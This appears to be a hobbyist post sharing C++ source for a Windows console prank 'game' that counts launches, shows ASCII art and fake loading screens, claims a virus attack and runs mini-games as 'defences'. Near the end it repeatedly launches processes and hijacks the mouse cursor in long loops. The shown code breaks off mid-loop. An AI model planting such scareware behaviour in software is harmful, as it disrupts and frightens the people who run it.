天域游戏1.2.1!!!

注意注意,这个版本增加了打开次数登记!他可以记录你打开该文件的次数!

代码如下:

#include<bits/stdc++.h>
#include <fstream>
#include<windows.h>
#include<time.h>
#include<cstdio>
using namespace std;
int main(){
    std::ifstream file("save.txt");
	int save;
    if (file.is_open()) {
        string line;
        while (getline(file, line)) {
    		std::string str =line;
   			std::stringstream ss(str);
            ss>>save;
        }
        file.close();
    } else {
        std::cout << "Unable to open file";
    }
	int xx,y;
    xx = GetSystemMetrics(SM_CXSCREEN);
	y = GetSystemMetrics(SM_CYSCREEN);
	cout<<"该文件极度危险,若出问题,制作方概不负责"<<endl;
	Sleep(500);
	cout<<"按下任意字母键加回车继续"<<endl;
	char qwer;
	cin>>qwer;
	cout<<"为保证在程序运行的途中不出现小插曲,以下为几点温馨提示:"<<endl;
	Sleep(1000);
	cout<<"1、若运行时停顿过久,请按回车键"<<endl;
	Sleep(1000);
	cout<<"2、该文件可能会导致电脑损坏,请做好备份"<<endl;
	Sleep(1000);
	cout<<"祝你好运"<<endl;
	Sleep(1000);
	system("cls");
	system("color 3");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	Sleep(150);
	cout<<endl;
	Sleep(150);
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	Sleep(150);
	cout<<endl;
	Sleep(150);
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	Sleep(150);
	cout<<endl;
	Sleep(150);
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	Sleep(150);
	cout<<endl;
	Sleep(150);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<endl;
	Sleep(150);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<endl;
	Sleep(150);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<endl;
	Sleep(150);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<"      /         L     ---J            L       L______|______J    L------J  L------J"<<endl;
	Sleep(150);
	system("color f0");
	Sleep(1000);
	printf("\n\n");
	printf("    正在加载");
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<"      /         L     ---J            L       L______|______J    L------J  L------J"<<endl;
	system("color f0");
	printf("\n\n");
	printf("    正在加载");
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<"      /         L     ---J            L       L______|______J    L------J  L------J"<<endl;
	system("color f0");
	printf("\n\n");
	printf("    正在加载");
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<"      /         L     ---J            L       L______|______J    L------J  L------J"<<endl;
	system("color f0");
	printf("\n\n");
	printf("    正在加载");
	Sleep(1000);
	Sleep(100);
	cout<<"|";
	Sleep(75);
	cout<<"|";
	Sleep(250);
	cout<<"|";
	Sleep(98);
	cout<<"|";
	Sleep(112);
	cout<<"|";
	Sleep(23);
	cout<<"|";
	Sleep(274);
	cout<<"|";
	Sleep(150);
	cout<<"|";
	Sleep(75);
	cout<<"|";
	Sleep(22);
	cout<<"|";
	Sleep(130);
	cout<<"|";
	Sleep(45);
	cout<<"|";
	Sleep(520);
	cout<<"|";
	cout<<"完成";
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<"      /         L     ---J            L       L______|______J    L------J  L------J"<<endl;
	printf("\n\n");
	cout<<"    正在初始化";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	cout<<" .";
	Sleep(1000);
	system("cls");
	printf("\n\n\n\n");
	cout<<"     ____________                    |  L            |                T------T"<<endl;
	cout<<"           |            |    --------+-----    |     |     |          |      |"<<endl;
	cout<<"           |            |    T----T  |         L_____|_____J          L______J"<<endl;
	cout<<"   ________j_______   --+--  |    |  |               |           "<<endl;
	cout<<"         /   L          |    |    |  |        |      |      |    T------T  T------T"<<endl;
	cout<<"        /     L         |    L----J  |        |      |      |    |      |  |      |"<<endl;
	cout<<"       /       L        丿 / ------  L        |      |      |    |      |  |      |"<<endl;
	cout<<"      /         L     ---J            L       L______|______J    L------J  L------J"<<endl;
	printf("\n\n");
	Sleep(3000);
	system("cls");
	system("color 3");
	printf("\n\n\n");
	save++;
    ofstream outFile("save.txt");
    if (outFile.is_open()) {
        outFile <<save<<endl;
        outFile.close(); // 关闭文件流
    } else {
        cout << "Unable to open file." << std::endl;
    }
	cout<<"			这是你第"<<save++<<"次打开该文件"<<endl;
	cout<<"			是否打开游戏"<<endl;
	cout<<"			(1.yes/2.no)"<<endl;
	cout<<"			";
	int xxx;
	cin>>xxx;
	if(xxx==1){
		cout<<"			正在访问设备上的库";
		Sleep(1000);
		cout<<" .";
		Sleep(1000);
		cout<<" .";
		Sleep(1000);
		cout<<" ."<<endl;
		Sleep(1000);
		system("cls"); 
		system("color 4");
		cout<<"触发病毒!!!"<<endl;
	}
	else if(xxx==2){
	system("color 4");
		system("cls");
		cout<<"你为什么不打开!"<<endl;
	}
	else{
	system("color 4");
		system("cls");
		cout<<"我最讨厌一身反骨的人!"<<endl; 
	}
	system("color 4");
	int nnn=0;
cout<<"你的电脑正在遭受病毒路径C:Users.tyuuy.Desk_top的侵袭!"<<endl; 
	for(int i=1;i<=3;i++) 
	system("start C:Users.tyuuy.Desk_top.cpp");
Sleep(1000);
cout<<"已为你启动系统3道防御措施!"<<endl; 
Sleep(1000);
cout<<"第一道防线:计算病毒"<<endl;
Sleep(1000);
cout<<"获得15枚金币即可防御病毒!"<<endl;
Sleep(1000);
cout<<"防御规则:"<<endl; 
	system("start C:Users.tyuuy.Desk_top.cpp");
Sleep(2000);
cout<<"计算正确防护值累加!"<<endl;
Sleep(1000);
cout<<"计算错误病毒会入侵5个防护值!"<<endl; 
Sleep(1000);
	system("cls");
	srand(time(0));
	int sco=1;
int num1,num2,sym,c,b,rrr=1,mm=0;
    while(mm==0){
    	sym=rand();
    	sym=sym%4;
    	clock_t start,end;
    	double time;
    	switch(sym){
	    	case 0:
		    	num1=rand();
		    	num1=num1%100;
		    	num2=rand();
		    	num2=num2%100;
		    	c=num1+num2;
		    	cout<<num1<<"+"<<num2<<"=";
		    	start=clock();
			    cin>>b;
			    end=clock();
			    time=(end-start)/1000.0;
		        break;
	    	case 1:
		        num1=rand();
		    	num1=num1%100;
		    	num2=rand();
		    	num2=num2%100;
		    	c=num1-num2;
		    	cout<<num1<<"-"<<num2<<"=";
		    	start=clock();
			    cin>>b;
			    end=clock();
			    time=(end-start)/1000.0;
		    	break;	
	    	case 2:
	    	    num1=rand();
		    	num1=num1%15;
		    	num2=rand();
		    	num2=num2%15;
		    	c=num1*num2;
		    	cout<<num1<<"*"<<num2<<"=";
		    	start=clock();
			    cin>>b;
			    end=clock();
			    time=(end-start)/1000.0;
		    	break;
		    case 3:
	    	    num1=rand();
    			num1=num1%100;
		    	num2=rand();
	    		num2=num2%99+1;
	    		while(num1%num2!=0){
	    			num1=rand();
    			    num1=num1%100;
		        	num2=rand();
	    		    num2=num2%99+1;}
    			c=num1/num2;
		    	cout<<num1<<"/"<<num2<<"=";
	    		start=clock();
			    cin>>b;
			    end=clock();
			    time=(end-start)/1000.0;
			    break;}
        if(c==b){
		    if(time>5){
		    	cout<<"回答超时!\n";
		    				if(sco>5){
				cout<<"扣除5枚金币!"<<endl;
				sco-=5;
				rrr=1;
				cout<<"正在生成下道题目"<<endl; 
	system("start C:Users.tyuuy.Desk_top.cpp");
			    Sleep(100);
			    cout<<"Loading";
	Sleep(600);
	for(int i=1;i<=6;i++){
		cout<<".";
	    Sleep(100);}}
			else{sco=1;
				rrr=0;}
		    	cout<<"您的余额为:"<<sco<<"枚金币"<<endl; 
		    	if(rrr==0){
		    				    cout<<"您的余额不足5枚金币!"<<endl;
	system("start C:Users.tyuuy.Desk_top.cpp");
		    				    mm=1;
}
		    }else{
			    cout<<"回答正确!\n";
			    cout<<"您的余额为:"<<sco<<"枚金币"<<endl; 
			    cout<<"正在生成下道题目"<<endl; 
			    Sleep(100);
			    cout<<"Loading";
	Sleep(600);
	for(int i=1;i<=6;i++){
		cout<<".";
	    Sleep(100);
	}system("cls");
			sco++;
			}}else{
			cout<<"回答错误!"<<endl;
			if(sco>5){
			cout<<"扣除5枚金币!"<<endl;
				sco-=5;
				rrr=1; 
				cout<<"正在生成下道题目"<<endl; 
			    Sleep(100);
			    cout<<"Loading";
	Sleep(600);
	for(int i=1;i<=6;i++){
		cout<<".";
	    Sleep(100);}}
			else
				rrr=0;
			switch(sym){
				case 0: cout<<"正解:"<<num1<<"+"<<num2<<"="<<c<<"\n";break;
				case 1: cout<<"正解:"<<num1<<"-"<<num2<<"="<<c<<"\n";break;
				case 2: cout<<"正解:"<<num1<<"*"<<num2<<"="<<c<<"\n";break;
				case 3: cout<<"正解:"<<num1<<"/"<<num2<<"="<<c<<"\n"; break;}
		    cout<<"您的余额为:"<<sco<<"枚金币"<<endl; 
		    if(rrr==0){
		    cout<<"您的余额不足5枚金币!"<<endl;
	system("start C:Users.tyuuy.Desk_top.cpp");
			mm=9;}}
			
			if(sco>=16){
				cout<<"防御病毒成功!"<<endl;
				nnn=1;
				break;
			}}
			Sleep(1000);
			cout<<"危险预警!!!"<<endl;
			cout<<"病毒已突破第一道防线!"<<endl;
			Sleep(2000);
cout<<"第二道防线:战斗病毒"<<endl;
Sleep(1000);
cout<<"获得1500个经验值即可防御病毒!"<<endl;
Sleep(1000);
cout<<"防御规则:"<<endl; 
Sleep(2000);
cout<<"合理分配经验战胜病毒!"<<endl;
Sleep(1000);
cout<<"战斗失败会扣除300个经验值!"<<endl; 
Sleep(1000);
			
	//炸弹人
		int sum1,sum2,ssb=0,ji=0,sum3,kk=1,sum4,sum5,s1,s2,s3,s4,s5,nd,lm=1,yxb=0,ah=0;
	//设置变量 
    while(lm!=0){//循环条件
	if(yxb>=1500){
						cout<<"防御病毒成功!"<<endl;
				
				break;
	} 
    	cout<<"你有"<<yxb<<"个经验值!"<<endl;
	ji=0;
	lm=0;//变量初始化 
	srand(time(0)) ;
	nd=rand();
	nd=nd%4+1; 
	sum1=rand();
	sum1=sum1%200;
	sum2=rand();
	sum2=sum2%200;
	sum3=rand();
	sum3=sum3%200;
	sum4=rand();
	sum4=sum4%200;
	sum5=rand();
	sum5=sum5%200;//随机函数 
	if(sum1+sum2+sum3+sum4+sum5>=600){
		cout<<"本次病毒数量庞大,祝你好运!"<<endl; 
	}
	if(sum1+sum2+sum3+sum4+sum5>=500&&sum1+sum2+sum3+sum4+sum5<600){
		cout<<"本次病毒数量较多,祝你好运!"<<endl;}
	
	if(sum1+sum2+sum3+sum4+sum5>=400&&sum1+sum2+sum3+sum4+sum5<500){
		cout<<"本次病毒数量较少,祝你好运!"<<endl;}	 
	
	if(sum1+sum2+sum3+sum4+sum5>=300&&sum1+sum2+sum3+sum4+sum5<400){
		cout<<"本次病毒数量非常少,祝你好运!"<<endl;}//敌军数量探测 
	cout<<"本次至少防御"<<nd<<"波病毒"<<endl; 
	if(yxb>=200){
		cout<<"你可以用200枚金币清空病毒(输入:花1,不花2)"<<endl;
		cin>>ah;
		if(ah==2){
			ssb=0;
		}
		if(ah==1){//选择性接受 
		yxb-=200;
		lm=1;
		ssb=1;
		continue;}//跳过本次循环
		
	} 
while(1){
	cout<<"输入和为500的经验值!"<<endl; 
	
	cout<<"第一轮:"; 
    cin>>s1;
	cout<<"还剩"<<500-s1<<"个经验值"<<endl;
	cout<<"第二轮:"; 
	cin>>s2;
	cout<<"还剩"<<500-s1-s2<<"个经验值"<<endl;
	cout<<"第三轮:"; 
	cin>>s3;
	cout<<"还剩"<<500-s1-s2-s3<<"个经验值"<<endl;
	cout<<"第四轮:"; 
	cin>>s4;
	cout<<"还剩"<<500-s1-s2-s3-s4<<"个经验值"<<endl;
	cout<<"第五轮:";//依次输入五连士兵数量 
	cin>>s5;
    if(s1+s2+s3+s4+s5>500){
    cout<<"经验值和最多是五百哦!你分配的不合理!" ;}
    if(s1<0){
    	cout<<"经验值不能小于零!"<<endl;
    }
    else if(s2<0){
    	cout<<"经验值不能小于零!"<<endl;
    }
    else if(s3<0){
    	cout<<"经验值不能小于零!"<<endl;
    }
    else if(s4<0){
    	cout<<"经验值不能小于零!"<<endl;
    }
    else if(s5<0){
    	cout<<"经验值不能小于零!"<<endl;
    }
    else{
    	break;
    }
}
    lm=0;//数量判断 
    kk=0;} 
    if(s1>sum1) 
    ji=ji+1;
    if(s1<sum1)
    ji=ji-1+1;
    if(s1==sum1)
    ji=ji+1-1;
    if(s2>sum2) 
    ji=ji+1;
    if(s2<sum2)
    ji=ji;
    if(s2==sum2)
    ji=ji;
    if(s3>sum3) 
    ji=ji+1;
    if(s3<sum3)
    ji=ji;
    if(s3==sum3)
    ji=ji;
    if(s4>sum4) 
    ji=ji+1;
    if(s4<sum4)
    ji=ji;
    if(s4==sum4)
    ji=ji;
    if(s5>sum5) 
    ji=ji+1;
    if(s5<sum5)
    ji=ji;
    if(s5==sum5)
    ji=ji;//胜利场次统计 
    cout<<s1<<":"<<sum1<<endl;
	if(s1>sum1)
	 cout<<"大获全胜"<<endl;
	 Sleep(1000);
	if(s1<sum1) 
	cout<<"惨败"<<endl;
	 Sleep(1000);
	if(s1==sum1)
	cout<<"旗鼓相当"<<endl; 
	 Sleep(1000);
    cout<<s2<<":"<<sum2<<endl;
    if(s2>sum2)
	 cout<<"大获全胜"<<endl;
		 Sleep(1000);
	if(s2<sum2) 
	cout<<"惨败"<<endl;
	 Sleep(1000);
	if(s2==sum2)
	cout<<"旗鼓相当"<<endl;
	 Sleep(1000);
    cout<<s3<<":"<<sum3<<endl;
    if(s3>sum3)
	 cout<<"大获全胜"<<endl;
		 Sleep(1000);
	if(s3<sum3) 
	cout<<"惨败"<<endl;
	 Sleep(1000);
	if(s3==sum3)
	cout<<"旗鼓相当"<<endl;
	 Sleep(1000);
    cout<<s4<<":"<<sum4<<endl;
    if(s4>sum4)
	 cout<<"大获全胜"<<endl;
		 Sleep(1000);
	if(s4<sum4) 
	cout<<"惨败"<<endl;
	 Sleep(1000);
	if(s4==sum4)
	cout<<"旗鼓相当"<<endl;
	 Sleep(1000);
    cout<<s5<<":"<<sum5<<endl;
    if(s5>sum5)
	 cout<<"大获全胜"<<endl;
		 Sleep(1000);
	if(s5<sum5) 
	cout<<"惨败"<<endl;
	 Sleep(1000);
	if(s5==sum5)
	cout<<"旗鼓相当"<<endl;
	 Sleep(1000);//结果输出 
	cout<<endl; 
    cout<<"你防御了"; 
    cout<<ji;
    cout<<"波病毒" ;
	 Sleep(1000);//统计输出 
    
	if(nd<=ji){
	cout<<endl;
	cout<<"你获得了100个经验值"<<endl;
	yxb=yxb+100;//金币累加 
	lm=1;
	}
	if(nd>ji&&yxb>=300&&ah!=1&&ssb!=1) {
	cout<<"你失去了300个经验值"<<endl;
	yxb=yxb-300;
	lm=1;}
	if(yxb<300&&ah!=1&&nd>ji&&ssb==0){
	
	
	lm=0;
	if(ssb==1&&nd>ji){
		lm=1;
		cout<<"下次加油防御!"<<endl; 
	}
	if(ssb==1){
		lm=1;
		cout<<"下次加油防御!"<<endl;
	}
	if(kk==0&&lm!=0){
		cout<<"没有这么多经验值!"<<endl;
		lm=0; 
	} 
}
			Sleep(1000);
			cout<<"危险预警!!!"<<endl;
			cout<<"病毒已突破第二道防线!"<<endl;
			Sleep(2000);
	//开机游戏
	cout<<"这是一款弹珠投资小游戏"<<endl; 
    cout<<"你可以动态观察弹珠滚动的十层变化,弹珠波动不会超过2格"<<endl;
    cout<<"游戏的计算系统也会随着弹珠数量的增加时刻更新哦"<<endl;
    cout<<"温馨提醒:弹珠数量为0时也将被视为投资失败哦"<<endl;
	int xy1,jl=0,xy2,xy3,xy4,xy5,cha,sb,xy6,xy8,tz,h,x,xu,dz=10,zf,js=0,m=1,sj;
	while(m!=0){
	srand(time(0));
	xy1=rand();
	xy1=xy1%10+1;
	xy2=rand();
	xy2=xy2%10+1;
	cha=rand();
	cha=cha%3+1;
	if(xy1==xy2){
		xy2==xy1;
		while(xy1==xy2){
			xy2==xy1;
			xy2=rand();
	        xy2=xy2%10+1;
		}
	}
	xy3=rand();
	xy3=xy3%10+1;
	if(xy2==xy3||xy1==xy3){
		xy3==xy1;
		while(xy3==xy2||xy3==xy1){
			xy3==xy1;
			xy3=rand();
	        xy3=xy3%10+1;
		}
	}
	xy4=rand();
	xy4=xy4%10+1;
	if(xy2==xy4||xy1==xy4||xy3==xy4){
		xy4==xy1;
		while(xy4==xy2||xy4==xy1||xy4==xy3){
			xy4==xy1;
			xy4=rand();
	        xy4=xy4%10+1;
		}
	}
	xy5=rand();
	xy5=xy5%10+1;
	sb=rand();
	sb=sb%5+1;
	if(xy2==xy5||xy1==xy5||xy3==xy5||xy4==xy5){
		xy5==xy1;
		while(xy5==xy2||xy5==xy1||xy5==xy3||xy5==xy4){
			xy5==xy1;
			xy5=rand();
	        xy5=xy5%10+1;
		}
	}
	xy6=rand();
	xy6=xy6%10+1;
	if(xy2==xy6||xy1==xy6||xy3==xy6||xy4==xy6||xy5==xy6){
		xy6==xy1;
		while(xy6==xy2||xy6==xy1||xy6==xy3||xy6==xy4||xy5==xy6){
			xy6==xy1;
			xy6=rand();
	        xy6=xy6%10+1;
		}
	}
	xy8=rand();
	xy8=xy8%10+1;
	h=rand();
	h=h%7+1;
	if(xy2==xy8||xy1==xy8||xy3==xy8||xy4==xy8||xy5==xy8||xy8==xy6){
		xy8==xy1;
		while(xy8==xy2||xy8==xy1||xy8==xy3||xy8==xy4||xy5==xy8||xy8==xy6){
			xy8==xy1;
			xy8=rand();
	        xy8=xy8%10+1;
		}
	}
		    dz=dz+jl;
		    jl=0;
	cout<<"你有"<<dz<<"颗弹珠"<<endl;
	if(dz==0){
		cout<<"病毒袭击!"<<endl;
	} 
	cout<<"请问你要投入几颗弹珠"<<endl;
	cin>>tz;
	dz=dz-tz;
	cout<<"你目前还剩"<<dz<<"颗弹珠"<<endl;
	xu=rand();
	xu=xu%10+1;
	if(xu==7||xu==9||xu==10){
		xu=sb;
	}
	if(xu==1){
		cout<<"有1个中奖卡槽,若投进将获得弹珠*10:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<endl;
		js=1; 
	}
    if(xu==2){
		cout<<"有2个中奖卡槽,若投进将获得弹珠*8:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<" "<<xy2<<endl; 
		js=2;
	}
	if(xu==3){
		cout<<"有3个中奖卡槽,若投进将获得弹珠*6:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<" "<<xy2<<" "<<xy3<<endl; 
		js=3;
	}
	if(xu==4){
		cout<<"有4个中奖卡槽,若投进将获得弹珠*5:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<" "<<xy2<<" "<<xy3<<" "<<xy4<<endl; 
		js=4;
	}
	if(xu==5){
		cout<<"有5个中奖卡槽,若投进将获得弹珠*4:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<" "<<xy2<<" "<<xy3<<" "<<xy4<<" "<<xy5<<endl; 
		js=5;
	}
	if(xu==6){
		cout<<"有6个中奖卡槽,若投进将获得弹珠*3:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<" "<<xy2<<" "<<xy3<<" "<<xy4<<" "<<xy5<<" "<<xy6<<endl; 
		js=6;
	}
	if(xu==8){
		cout<<"有7个中奖卡槽,若投进将获得弹珠*2:"<<endl;
		cout<<"中奖卡槽为:"<<xy1<<" "<<xy2<<" "<<xy3<<" "<<xy4<<" "<<xy5<<" "<<xy6<<" "<<xy8<<endl; 
		js=8;
	}
	cout<<"即将投掷弹珠";
	for(int i=1;i<=6;i++){
		cout<<".";
	} 
	cout<<endl;
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第一层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=rand();
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第二层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第三层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第四层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第五层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第六层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第七层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第八层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-xy8;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第九层:"<<h<<"号位"<<endl;
	zf=rand();
	zf=h%2+1;
	sj=sj%2500;
	Sleep(sj);
	if(h!=3&&h!=2&&h!=1&&h!=0&&h!=8&&h!=9&&h!=10){
	x=rand();
	x=x%3;
	if(zf==1){
	h+=x;}
	else{
	h-=x;
	}}
	else{
		x=rand();
		x=x%2+1;
		h+=x;
	}
	if(h>10){
		h=h-cha;
	}
	cout<<"弹珠滚至第十层:"<<h<<"号位"<<endl;
	if(js==1){
		if(h==xy1){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*10;
		}
	}
		if(js==2){
		if(h==xy1||h==xy2){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*8;
		}
	}
		if(js==3){
		if(h==xy1||h==xy2||h==xy3){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*6;
		}
	}
		if(js==4){
		if(h==xy1||h==xy1||h==xy2||h==xy3||h==xy4){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*5;
		}
	}
	if(js==5){
		if(h==xy1||h==xy1||h==xy2||h==xy3||h==xy4||h==xy5){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*4;
		}
	}
	if(js==6){
		if(h==xy1||h==xy2||h==xy3||h==xy4||h==xy5||h==xy6){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*3;
		}
	}
	if(js==8){
		if(h==xy1||h==xy6||h==xy2||h==xy3||h==xy4||h==xy5||h==xy8){
			cout<<"恭喜您中奖啦!"<<endl;
			jl=tz*2;
		}
	}
	if(dz<0){
		m=0;
		cout<<"病毒袭击!"<<endl;
	}
	}
	for(int i=0;i<1000;i++){
		
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
        SetCursorPos(rand()%xx,rand()%y);
	}
	int sum=0;
		for(int i=1;i<=6;i++){
		
    for(long long i=-76857695;i<=46789654678;i++){
    				int a;
			srand(time(0));
			a=rand();
			system("color a");
        SetCursorPos(rand()%xx,rand()%y);
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
		cout<<i+53687678<<"    ";
    	cout<<i-68768766<<"  **@#%$#(%^% "<<sum<<" "<<endl;
    	cout<<i*2<<"    ";
        SetCursorPos(rand()%xx,rand()%y);
    	cout<<i;
    	cout<<i+i+1; 
    	
 
    				
			srand(time(0));
			a=rand();
			system("color a");
 
    	srand(time(0)) ;
	    sum=rand();
    	cout<<i-34527901<<" ";
